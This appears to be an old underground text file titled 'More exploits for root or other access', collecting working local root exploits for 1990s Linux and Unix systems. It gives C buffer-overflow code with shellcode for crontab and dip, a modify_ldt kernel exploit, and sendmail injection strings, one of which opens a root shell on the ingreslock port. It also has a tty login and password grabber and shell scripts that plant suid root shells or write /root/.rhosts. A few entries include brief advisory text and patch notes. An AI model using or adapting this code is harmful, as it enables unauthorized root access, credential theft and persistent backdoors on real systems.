More exploits for root or other access 

Topics:
Vixie Crontab Buffer Overflow for RedHat Linux 
Root Dip Exploit 
ldt - Text By Quantumg 
Suid Perl  - Text By Quantumg 
Abuse Sendmail 8.6.9 
ttysurf - Grab Someone's tty
shadow.c  - Get Shadow passwd Files
Abuse Root Exploit (linux game program)
Doom (game) Root Exploit - Makes Suid Root Shell
Dosmenu Suid Root Exploit
Doom Root killmouse Exploit
Root Exploit For Resize Icons
Root Console Exploit For restorefont
Root rxvt X Server Exploit
Root wuftpd Exploit
A Shell Script Called gimme, Used To Read Any System File

Vixie Crontab Buffer Overflow for RedHat Linux 

If crontab is suid it is more then likely exploitable.


-----------cut here

/* vixie crontab buffer overflow for RedHat Linux
 *
 * I don't think too many people know that redhat uses vixie crontab.
 * I didn't find this, just exploited it.
 *
 *
 * Dave G. <[email protected]>
 * 10/13/96
 *
 */
 
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
 
#define DEFAULT_OFFSET          -1240
#define BUFFER_SIZE             100     /* MAX_TEMPSTR is 100 */
#define HAPPY_FILE              "./Window"
 
long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}
 
main(int argc, char **argv)
{
   int fd;
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
  u_char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
 
 
 
/*
 * The sscanf line reads for 'name' as %[^ =].  Neither a space, nor
 * a '=' character appears below
 */
 
 
   int i;
   int ofs = DEFAULT_OFFSET;
 
   /* if we have a argument, use it as offset, else use default */
   if(argc == 2)
      ofs = atoi(argv[1]);
   else if (argc > 2) {
      fprintf(stderr, "egg [offset]\n");
      exit(-1);
   }
   /* print the offset in use */
   printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
 
   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   /* fill start of buffer with nops */
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   /* stick asm code into the buffer */
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
 
   addr_ptr = (long *)ptr;
   for(i=0;i < (878/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr++ = '=';
   *ptr++ = 'X';
   *ptr++ = '\n';
   *ptr = 0;
   printf("Writing to %s\n", HAPPY_FILE);
 
/*
 * The sleep is required because as soon as crontab opens the tmp file it
 * stat's and saves it.  After the EDITOR program exists it stats again
 * and if they are equal then it assumes changes weren't made and exits.
 */
   fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
   write (fd, buff, strlen(buff));
 
   close(fd);
 
   execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL);
   /* Successful completion */
   exit(0);
}
----------- cut here


Root Dip Exploit 

in /sbin you will find a symbolic link called dip to a suid root binary.
Chances are, if this file is suid, it's sploitable.

-------- cut here

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_DIP "/sbin/dip"
u_char shell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hs";
u_long esp() { __asm__("movl %esp, %eax"); }
main()
{
  u_char buf[1024];
  u_long addr;
  int i, f;

  strcpy(buf, "chatkey ");
  addr = esp() - 192;
  for (i=8; i<128+16; i+=4)
    *((u_long *) (buf+i)) = addr;
  for (i=128+16; i<512; i++)
    buf[i] = 0x90;
  for (i=0; i<strlen(shell); i++)
    buf[512+i] = shell[i];
  buf[512+i] = '\n';

  if ((f = open("/tmp/temp.dip", O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) {
    perror("temp.dip");
    exit(0);
  }
  write(f, buf, 512+i);
  close(f);

  execl(PATH_DIP, "dip", "/tmp/temp.dip", (char *)0);
}

---------- cut here


ldt - Text By Quantumg

this one is a little old but I'm rather proud of it so I thought I'd give
it a praise.  in writing the linux kernel the guys who wrote a certain
section fucked up.  they let you stretch and modify the area of memory
you can access.  at first the sploit required a System.map to be in the
root dir.  so the simple solution to the bug was to delete all System.map
files off the system and remove all the uncompressed kernels (cause you
can generate a System.map by doing an nm on uncompressed kernels), this
is now rather stupid cause there are patches for all kernel versions with
the bug and I have written a version of this sploit that doesn't need a
System.map.

---------- cut here
/* this is a hack of a hack.  a valid System.map was needed to get this
   sploit to werk.. but not any longer.. This sploit will give you root
   if the modify_ldt bug werks.. which I beleive it does in any kernel
   before 1.3.20 ..
 
   QuantumG
*/

/* original code written by Morten Welinder.
 *
 * this required 2 hacks to work on the 1.2.13 kernel that I've tested on:
 * 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed.
 * 2. the _task in the System.map file has no leading underscore.
 * I am not sure at what point these were changed, if you are
 * using this on a newer kernel compile with NEWERKERNEL defined.
 *                                          -ReD
 */

#include <linux/ldt.h>
#include <stdio.h>
#include <linux/unistd.h>
#include <signal.h>
#ifdef NEWERKERNEL
#include <asm/sigcontext.h>
#endif
#define __KERNEL__
#include <linux/sched.h>
#include <linux/module.h>

static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);
static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)


#define KERNEL_BASE 0xc0000000
/* ------------------------------------------------------------------------ */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
  unsigned char res;
  asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
       : "=a" (res)
       : "r" (seg), "r" (ofs));
  return res;
}
/* ------------------------------------------------------------------------ */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
  asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
       : /* No results.  */
       : "r" (seg), "r" (ofs), "r" (b));
}
/* ------------------------------------------------------------------------ */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
  while (size-- > 0)
    *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* ------------------------------------------------------------------------ */
void
memputseg (int seg, void *dst, const void *src, int size)
{
  while (size-- > 0)
    __farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* ------------------------------------------------------------------------ */
int
main ()
{
  int stat, i,j,k;
  struct modify_ldt_ldt_s ldt_entry;
  FILE *syms;
  char line[100];
  struct task_struct **task, *taskptr, thistask;
  struct kernel_sym blah[4096];

  printf ("Bogusity checker for modify_ldt system call.\n");

  printf ("Testing for page-size limit bug...\n");
  ldt_entry.entry_number = 0;
  ldt_entry.base_addr = 0xbfffffff;
  ldt_entry.limit = 0;
  ldt_entry.seg_32bit = 1;
  ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
  ldt_entry.read_exec_only = 0;
  ldt_entry.limit_in_pages = 1;
  ldt_entry.seg_not_present = 0;
  stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  if (stat)
    /* Continue after reporting error.  */
    printf ("This bug has been fixed in your kernel.\n");
  else
    {
      printf ("Shit happens: ");
      printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
    }

  printf ("Testing for expand-down limit bug...\n");
  ldt_entry.base_addr = 0x00000000;
  ldt_entry.limit = 1;
  ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
  ldt_entry.limit_in_pages = 0;
  stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  if (stat)
    {
      printf ("This bug has been fixed in your kernel.\n");
      return 1;
    }
  else
    {
      printf ("Shit happens: ");
      printf ("0x00000000 - 0xfffffffd is accessible.\n");
    }

  i = get_kernel_syms(blah);
  k = i+10;
  for (j=0; j<i; j++)
   if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j;
  if (k==i+10) { printf("current not found!!!\n"); return(1); }
  j=k;

  taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value);
  memgetseg (&taskptr, 7, taskptr, sizeof (taskptr));
  taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr);
  memgetseg (&thistask, 7, taskptr, sizeof (thistask));
  if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); }
  printf("Current process is %i\n",thistask.pid);
  taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr);
  memgetseg (&thistask, 7, taskptr, sizeof (thistask));
  if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); }
  printf("Parent process is %i\n",thistask.pid);
  thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0;
  thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0;
  memputseg (7, taskptr, &thistask, sizeof (thistask));
  printf ("Shit happens: parent process is now root process.\n");
  return 0;
};

----------- cut here


Suid Perl  - Text By Quantumg 

In the /usr/bin dir (usually) you will find a suid root binary called
suidperl.  If this file is suid root it is most probably sploitable.

You need to set this file suid
(chmod 4700 will do it) and execute it to get root.

---------- cut here

#!/usr/bin/suidperl
$> = 0;                                     #set effective user id
$ENV{'PATH'} = '/bin:/usr/bin';             #secure the session
$ENV{'IFS'} = '' if $ENV{'IFS'} ne '';
$execpath = "/bin/sh";                      #sameol sameol
$execpath =~ /(.*)/;                        #untaint the variable
$boom = $1;                                 #$boom untainted
system $boom;                               #run EUID=0 shell

----------------cut here

Abuse Sendmail 8.6.9 

-----------cut here
/* smh.c - atreus - Michael R. Widner (2/27/95)
 * <[email protected]> <[email protected]>
 * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
 * hole.  It's really just a matter of passing newlines in arguments to
 * sendmail and getting the stuff into the queue files.  If we run this
 * locally with -odq we are guaranteed that it will be queue, rather than
 * processed immediately.
 * usage: smh [ username [/path/to/sendmail]]
 * It's worth noting that this is generally only good for getting bin.
 * sendmail still wants to process the sendmail.cf file, which contains
 * Ou1 and Og1 most of the time, limiting you to bin access.  Is there
 * a way around this?
 * cc -o smh smh.c should do the trick.  This just creates a bin owned
 * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh.  Note that on some
 * systems this is pretty much worthless, but you're smart enough to know
 * which systems those are.  Aren't you?
bash$ ./smh root /usr/lib/sendmail
bash$ /usr/lib/sendmail -q
*/
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

/* Take Your Pick */
#define EVIL_COMMAND1 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii "
#define EVIL_COMMAND2 "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/echo ingreslock stream tcp nowait root /bin/sh /bin/sh  >/tmp/.inetd.conf\">\nR<\"|/usr/sbin/inetd /tmp/.inetd.conf\">\n$rascii "

main(argc, argv)
int argc;
char **argv;
{
      execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p", EVIL_COMMAND1,
      argv[1] ? argv[1] : "atreus",0);
}

----------- cut here
ttysurf - Grab Someone's tty 

------------cut here
#include <stdio.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/termios.h>

#define DEBUG 1         /* Enable additional debugging info (needed!) */
#define USLEEP          /* Define this if your UNIX supports usleep() */

#ifdef ULTRIX
#define TCGETS TCGETP   /* Get termios structure */
#define TCSETS TCSANOW  /* Set termios structure */
#endif


handler(signal)
           int signal;             /* signalnumber */
{                       /* do nothing, ignore the signal */
        if(DEBUG) printf("Ignoring signal %d\n",signal);
}

int readandpush(f,string)
FILE *f;
char *string;
{
        char *cp,*result;
        int e;
        struct termios termios;

        result=fgets(string,20,f);    /* Read a line into string */
        if (result==NULL)
        {       perror("fgets()");
                return(1);
        }
        if (DEBUG)
        {       printf("String: %s\n",string);
                fflush(stdout);
        }

        ioctl(0,TCGETS,&termios);       /* These 3 lines turn off input echo */
 /*        echo = (termios.c_lflag & ECHO);      */
        termios.c_lflag=((termios.c_lflag | ECHO) - ECHO);
        ioctl(0,TCSETS,&termios);

        for (cp=string;*cp;cp++)        /* Push it back as input */
        {       e=ioctl(0,TIOCSTI,cp);
                if(e<0)
                {       perror("ioctl()");
                        return(1);
                }
        }
        return(0);
}

main(argc,argv)
int argc;
char *argv[];
{
        /* variables */
        int err;
        FILE *f;
        char *term      = "12345678901234567890";
        char *login     = "12345678901234567890";
        char *password  = "12345678901234567890";
        if (argc < 2)
        {       printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]);
                printf("Enter ttyname: ");
                gets(term);
        }
        else term=argv[argc-1];

        signal(SIGQUIT,handler);
        signal(SIGINT,handler);
        signal(SIGTERM,handler);
        signal(SIGHUP,handler);
        signal(SIGTTOU,handler);

        close(0);               /* close stdin */
#ifdef ULTRIX
        if(setpgrp(0,100)==-1)
                perror("setpgrp:");     /* Hopefully this works */
#else
        if(setsid()==-1)
                perror("setsid:"); /* Disconnect from our controlling TTY and
                                   start a new session as sessionleader */
#endif
        f=fopen(term,"r");      /* Open tty as a stream, this guarantees
                                           getting file descriptor 0 */
        if (f==NULL)
        {       printf("Error opening %s with fopen()\n",term);
                exit(2);
        }
        if (DEBUG) system("ps -xu>>/dev/null &");
        fclose(f);              /* Close the TTY again */
        f=fopen("/dev/tty","r");        /* We can now use /dev/tty instead */
        if (f==NULL)
        {       printf("Error opening /dev/tty with fopen()\n",term);
                exit(2);
        }

        if(readandpush(f,login)==0)
        {
#ifdef USLEEP
                usleep(20000);  /* This gives login(1) a chance to read the
                                   string, or the second call would read the
                                   input that the first call pushed back ! /*
#else
                for(i=0;i<1000;i++)
                        err=err+(i*i)
                           /* error        /* Alternatives not yet implemented */
#endif
                readandpush(f,password);
                printf("Result: First: %s Second: %s\n",login,password);
        }

        fflush(stdout);
        sleep(30);      /* Waste some time, to prevent that we send a SIGHUP
                           to login(1), which would kill the user. Instead,
                           wait a while. We then send SIGHUP to the shell of
                           the user, which will ignore it. */
        fclose(f);
}
--------------cut here

shadow.c  - Get Shadow passwd Files 

----------- cut here

 /*  This source will/should print out SHADOWPW passwd files.   */
 
 struct  SHADOWPW {     /* see getpwent(3) */
   char *pw_name;
   char *pw_passwd;
   int  pw_uid;
   int  pw_gid;
   int  pw_quota;
   char *pw_comment;
   char *pw_gecos;
   char *pw_dir;
   char *pw_shell;
 };
 struct passwd *getpwent(), *getpwuid(), *getpwnam();
 
 #ifdef   elxsis?
 
 /* Name of the shadow password file. Contains password and aging info */
 
 #define  SHADOWPW "/etc/shadowpw"
 #define  SHADOWPW_PAG "/etc/shadowpw.pag"
 #define  SHADOWPW_DIR "/etc/shadowpw.dir"
 /*
  *  Shadow password file pwd->pw_gecos field contains:
  *
  *  <type>,<period>,<last_time>,<old_time>,<old_password>
  *
  *  <type>  = Type of password criteria to enforce (type int).
  *  BSD_CRIT (0), normal BSD.
  *  STR_CRIT (1), strong passwords.
  *  <period>  = Password aging period (type long).
  *  0, no aging.
  *  else, number of seconds in aging period.
  *  <last_time>  = Time (seconds from epoch) of the last password
  *  change (type long).
  *  0, never changed.n
  *  <old_time>  = Time (seconds from epoch) that the current password
  *  was made the <old_password> (type long).
  *  0, never changed.ewromsinm
  *  <old_password> = Password (encrypted) saved for an aging <period> to
  *  prevent reuse during that period (type char [20]).
  *  "*******", no <old_password>.
  */
 
 /* number of tries to change an aged password */
 
 #define  CHANGE_TRIES 3
 
 /* program to execute to change passwords */
 
 #define  PASSWD_PROG "/bin/passwd"
 
 /* Name of the password aging exempt user names and max number of entires */
 
 #define  EXEMPTPW "/etc/exemptpw"
 #define MAX_EXEMPT 100
 
 /* Password criteria to enforce */
 
 #define BSD_CRIT 0 /* Normal BSD password criteria */
 #define STR_CRIT 1  /* Strong password criteria */
 #define MAX_CRIT 1
 #endif   elxsi
 #define NULL 0
 main()
 {
 struct passwd *p;
 int i;
 for (;1;) {;
   p=getpwent();
   if (p==NULL) return;
   printpw(p);
 }
 }
 
 printpw(a)
 struct SHADOWPW *a;
 {
 printf("%s:%s:%d:%d:%s:%s:%s\n",
    a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
    a->pw_gecos,a->pw_dir,a->pw_shell);
 }
 
 /* SunOS 5.0  /etc/shadow */
 /* SunOS4.1+c2     /etc/security/passwd.adjunct */
 
------------ cut here

Abuse Root Exploit (linux game program) 

---------- cut here

There is a security hole in RedHat 2.1, which installs the game abuse,
/usr/lib/games/abuse/abuse.console suid root.  The abuse.console program
loads its files without absolute path names, assuming the user is running
abuse from the /usr/lib/games/abuse directory.  One of these files in the
undrv program, which abuse executes as root.  If the user is not in the
abuse directory when running this, an arbitrary program can be substituted
for undrv, allowing the user to execute arbitrary commands as root.
   If abuse.console needs to be run by users other than root at the console,
provisions need to be made in the code to not execute or load any files
as root.

                   Program: /usr/lib/games/abuse/abuse.console suid root
Affected Operating Systems: Red Hat 2.1 linux distribution
              Requirements: account on system
                     Patch: chmod -s /usr/lib/games/abuse/abuse.console
       Security Compromise: root
                    Author: Dave M. ([email protected])
                  Synopsis: abuse.console runs undrv without an absolute
                            pathname while executing as root, allowing
                            a user to substitute the real undrv with
                            an arbitrary program.

Exploit:
#!/bin/sh
#
# abuser.sh
# exploits a security hole in abuse to create
# a suid root shell /tmp/abuser on a linux
# Red Hat 2.1 system with the games package
# installed.
#
# For release 2/2/96 - 1 drink credit please.
#
# by Dave M. ([email protected])
#
echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/lib/games/abuse/abuse.console
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/undrv
#!/bin/sh
/bin/cp /bin/sh /tmp/abuser
/bin/chmod 4777 /tmp/abuser
_EOF_
cat << _EOF_ >> /tmp/the_wall
so ya thought ya might like to go to the show
to feel the warm thrill of confusion that space cadet glow
tell me is something eluding you sunshine?
is this not what you expected to see?
if you wanna find out what's behind these cold eyes
you'll just have to claw your way through this disguise
_EOF_
chmod +x /tmp/undrv
PATH=/tmp
echo ================ Executing Abuse
/usr/lib/games/abuse/abuse.console
/bin/rm /tmp/undrv
/bin/rm /tmp/the_wall
if test -u /tmp/abuser
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi
----------- cut here

Doom (game) Root Exploit - Makes Suid Root Shell 


----------- Start reading
From [email protected] Tue Dec 17 18:53:18 1996
Date: Tue, 17 Dec 1996 10:18:24 +0100
From: Bo <[email protected]>
To: Multiple recipients of list BUGTRAQ <[email protected]>
Subject: Re: Linux: killmouse/doom

> From: Joe Zbiciak <[email protected]>
> Subject:      Re: Linux: exploit for killmouse.
>
> Which reminds me, there's a bigger hole in Doom.  It doesn't drop its
> root permissions soon enough!  The user is allowed to set a sound server
> in his/her .doomrc.  Normally, this is set to "sndserver".  Howver, this
> can be set to *any* program, and that program runs as root!!

Yes,  very true. And just in case anybody collects these scripts, here's
the obvious one:

------------ CUT HERE --------------
#!/bin/sh
# Tue Dec 17 10:02:20 MET 1996 Bo
echo 'sndserver "/tmp/sndserver"' > .doomrc
cat > /tmp/sndserver.c << EOF
#include <stdio.h>
#include <unistd.h>
main() {
        if (fork()) while (getc(stdin));
        else system("cp /bin/sh /tmp; chmod +s /tmp/sh");
                /* or whatever you like to do */
}
EOF
gcc /tmp/sndserver.c -o /tmp/sndserver

------------ CUT HERE --------------

The  fork()  is  just so that doom runs on nicely without locking up the
keyboard  and  sndserver  gobbles  up all the sound data send to it. Run
the script, start sdoom, quit the normal way, and execute /tmp/sh.

Thanks for pointing it out, Joe.

Regards,
                Bo.

--
                "Heisenberg may have been here".

--------------- end of read

Dosmenu Suid Root Exploit 


--------- read

In Debian 1.1, the optional DOSEMU package installs /usr/sbin/dos
setuid root.  This is a serious security hole which can be exploited
to gain access to any file on the system.

Package: dosemu
Version: 0.64.0.2-9

------- start of cut text --------------

$ cat /etc/debian_version
1.1
$ id
uid=xxxx(quinlan) gid=xxxx(quinlan) groups=xxxx(quinlan),20(dialout),24(cdrom)
[quinlan:~]$ ls -al /usr/bin/dos
-rwsr-xr-x   1 root     root       569576 Oct 24 00:05 /usr/bin/dos
$ ls -al /root/foo
-rw-------   1 root     root         1117 Nov 13 23:10 /root/foo
$ dos -F /root/foo
[ Prints /root/foo, which is not readable by user `quinlan'. ]

------- Cut here

I expect there may be other holes in dosemu other than this one that
can be exploited if it is installed setuid root.  It took about 60
seconds to find this hole once I realized /usr/bin/dos was setuid
root.

Dan

Note: This security hole can be corrected by removing the suid bit from
/usr/bin/dos:
----------------------------
$ chmod u-s /usr/bin/dos
----------------------------

Jonathan

----------- end of read

Doom Root killmouse Exploit 

System:
Probably  Linux  specific.  Slackware  3.0 (installs Linux 1.2.13) which
have  gpm  utility  and/or  the  Doom  package installed are vulnerable.
Other distributions might be too.

Impact:
Local users can acquire root status.

Background:
The  problem  is  the  killmouse/startmouse command that is part of Doom
package  on  Linux  systems.  It  is  actually a C-wrapper that runs two
scripts  (killmouse.sh/startmouse.sh). It runs suid root.

Problem:
I would try to describe the problem but I can't stop laughing.

Exploit:
This  can  be  exploited  in  a few similar ways. Here's just one. Let's
assume  the  gpm  utility is not running. We can't start it up ourselves
as gpm is only to be run by root. So we'll use startmouse to fire it up:

$ touch /tmp/gpmkilled
$ /usr/games/doom/startmouse

ps -aux | grep gpm
bo        1436  0.0  2.0   40  312 v03 R    16:33   0:00 grep gpm
root      1407  0.0  2.4   42  368  ?  S    16:24   0:00 /usr/bin/gpm t ms

Fine,  it's  running.  Now  we'll use killmouse to kill the process, but
first we set our umask to 0 and link /tmp/gpmkilled to /root/.rhosts:

$ umask 0
$ ln -s /root/.rhosts /tmp/gpmkilled
$ /usr/games/doom/killmouse
 1407  ?  S     0:00 gpm t ms

$ ls -l /root/.rhosts
-rw-rw-rw-   1 root     users           0 Dec 13 16:44 /root/.rhosts

$ echo localhost bo > /root/.rhosts
$ rsh -l root localhost sh -i
bash#

Bingo.  On  some  systems gpm might not be started in /etc/rc.d/rc.local
so  the  startmouse  script will fail. But gpm might be running already.
If  neither of these conditions are met, note that startmouse.sh creates
/tmp/gpmscript  and runs it in a shell. There's a window of time between
creating  the  script and executing it, so we have a nice race condition
here; it can be replaced with anything you like prior to execution.

Solution:
Remove  setuid  bits  of  killmouse/startmouse.  Better yet - nuke them.
While your at it, nuke Doom too - it's a stupid game anyway :-)

Best regards,
                Bo ([email protected])


killmouse exploit
------------------ cut here

/usr/games/doom/startmouse.sh:
#!/bin/sh
if [ -r /tmp/gpmkilled ]; then
  /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript
  /bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript /tmp/gpmkilled
fi

/usr/games/doom/killmouse.sh:
#!/bin/sh
if /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep "gpm" ; then
  GPM_RUNNING=true; /bin/killall gpm; /bin/touch /tmp/gpmkilled
fi

----------- cut here

Root Exploit For Resize Icons 

There is a security hole in RedHat 2.1, which installs the program
/usr/bin/resizecons suid root.  The resizecons program allows a user
to change the videmode of the console.  During this process, it runs
the program restoretextmode without an absolute pathname, assuming the
correct version will be found in the path, while running with root
privileges.  It then executes setfont in the same manner.  By setting
the path to find a rogue restoretextmode, a user can execute an arbitrary
program as root.

As a more amusing aside, the file /tmp/selection.pid is read and the
pid contained within is sent a SIGWINCH, allowing a user on the system
to force a redraw of the screen to an arbitrary process (that handles
SIGWINCH calls) on the machine.

If /usr/bin/resizecons needs to be run by users other than root at the
console, provisions need to be made in the code to execute the outside
utilities with absolute pathnames, and to check access rights on files
before opening.

                   Program: /usr/bin/resizecons
Affected Operating Systems: Red Hat 2.1 linux distribution
              Requirements: account on system
           Temporary Patch: chmod -s /usr/bin/resizecons
       Security Compromise: root
                    Author: Dave M. ([email protected])
                  Synopsis: resizecons runs restoretextmode without an
                            absolute pathname while executing as root,
                            allowing a user to substitute the real
                            program with arbitrary commands.


----------cut here
wozzeck.sh:
#!/bin/sh
#
# wozzeck.sh
# exploits a security hole in /usr/bin/resizecons
# to create a suid root shell in /tmp/wozz on a
# linux Red Hat 2.1 system.
#
# by Dave M. ([email protected])
#
echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system
echo ================ Checking system vulnerability
if test -u /usr/bin/resizecons
then
echo ++++++++++++++++ System appears vulnerable.
cd /tmp
cat << _EOF_ > /tmp/313x37
This exploit is dedicated to
Wozz.  Use it with care.
_EOF_
cat << _EOF_ > /tmp/restoretextmode
#!/bin/sh
/bin/cp /bin/sh /tmp/wozz
/bin/chmod 4777 /tmp/wozz
_EOF_
/bin/chmod +x /tmp/restoretextmode
PATH=/tmp
echo ================ Executing resizecons
/usr/bin/resizecons 313x37
/bin/rm /tmp/restoretextmode
/bin/rm /tmp/313x37
if test -u /tmp/wozz
then
echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
else
echo ---------------- Exploit failed
fi
else
echo ---------------- This machine does not appear to be vulnerable.
fi

-------------- cut here

Root Console Exploit For restorefont 

Linux 'restorefont' Security Holes
by FEH Staff

Linux's svgalib utilities, required to be suid root, have a problem in that
they do not revoke suid permissions before reading a file.  This is exploited
in the restorefont utility, but similar bugs exist in other svgalib utilities.
The restorefont utility serves two functions.  First, it will read a font from
a file and write it to the console as the font.  Second, it will read a font
from the console and write it out to a file.  Luckily, the specific bug
in restorefont can only be exploited if someone is at the console, reducing
its overall impact on the security of the system as a whole.

In writing the utilities, the authors are cognizant of the fact that when
writing out the font, suid permissions must first be given up; it is in fact
commented as such in the code.  However, when reading in a font, the program
is still running with full suid root permissions.  This allows us to read in
any file for the font that root could access (basically, anything).

The applicable code to read in the file is shown below:

#define FONT_SIZE 8192
unsigned char font[FONT_SIZE];

 if (argv[1][1] == 'r') {
  FILE *f;
  f = fopen(argv[2], "rb");
  if (f == NULL) {
   error:
   perror("restorefont");
   exit(1);
  }
  if(1!=fread(font, FONT_SIZE, 1, f))
   {
   if(errno)
    goto error;
   puts("restorefont: input file corrupted.");
   exit(1);
   }
  fclose(f);

We can see from this that the file to be read in has to be at least 8k,
as if it is not, the program will produce an error and exit.  If the file
is at least 8k, the first 8k are read into the buffer, and the program
proceeds to set whatever the contents of the file are to the font:
 vga_disabledriverreport();
 vga_setchipset(VGA);  /* avoid SVGA detection */
 vga_init();
 vga_setmode(G640x350x16);
 vga_puttextfont(font);
 vga_setmode(TEXT);

At this point, the console will now look quite unreadable if you are
reading something other than a font from that file.  But, the data that
is put into the font is left untouched and is readable using the -w option
of restorefont.  We then read the font back from video memory to a new file,
and our job is complete, we have read the first 8k of a file we shouldn't
have had access to.  To prevent detection of having run this, we probably
shouldn't leave an unreadable font on the screen, so we save and then restore
the original font before reading from the file.
The complete exploit is shown below:

                   Program: restorefont, a svgalib utility
Affected Operating Systems: linux
              Requirements: logged in at console
       Security Compromise: user can read first 8k of any file of at least
                            8k in size on local filesystems
                  Synopsis: restorefont reads a font file while suid root,
                            writing it to video memory as the current vga
                            font; anyone at console can read the current
                            font to a file, allowing you to use video memory
                            as an 8k file buffer.

-------------
rfbug.sh:
--------------------cut here
#!/bin/sh
restorefont -w /tmp/deffont.tmp
restorefont -r $1
restorefont -w $2
restorefont -r /tmp/deffont.tmp
rm -f /tmp/deffont.tmp
-----------------------------------cut here

Root rxvt X Server Exploit 

Program: rxvt
Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with
                            rxvt suid root (and compiled with PRINT_PIPE)
              Requirements: account on system, X server
           Temporary Patch: chmod -s /usr/X11R6/bin/rxvt
       Security Compromise: root
                    Author: Dave M. ([email protected])
                  Synopsis: rxvt fails to give up root privileges before
                            opening a pipe to a program that can be specified
                            by the user.


Exploit:
1.  Set DISPLAY environment variable if necessary so you can use x clients.
2.  In user shell:
    $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
    $ chmod +x /tmp/rxbug
    $ rxvt -print-pipe /tmp/rxbug
3.  In rxvt xclient:
    $ cat
      ESC[5i
      ESC[4i
    (The client will close at this point with a broken pipe)
4.  $ /tmp/rxsh
    # whoami
    root
    #

Root wuftpd Exploit 

The following is gleaned from the BugTraq mailing list:
-------------------------------------------------------
Since Bugtraq is exceptionally quiet lately, I though I should make it
come alive again with this discussion of the bug that was reported in
the wu.ftpd that comes with some Slackware distributions of Linux.
The report was just before Bugtraq went down for a long time, but
I've found the bug still to be present on all the Linux machines that
I have access to. So maybe it needs to be brought a little more in
the open. Here we go:

ObBug: - Short description of the bug

It involves wu.ftpd being misconfigured at compile time and allowing
SITE EXEC access to /bin (for anonymous or otherwise chroot-ed users
this is ~ftp/bin). Now if in this /bin resides a program that gives
access to executables outside /bin, but in the users reach (such as
/bin/bash that gives access to the user's homedir), this opens up
a root vulnerability. This should have been set to /bin/ftp-exec and
which be set by the _PATH_EXECPATH variable in src/pathnames.h before
compiling. The wu-ftpd-2.4_linux.tgz that I found somewhere on the
net has this securely set as default value.

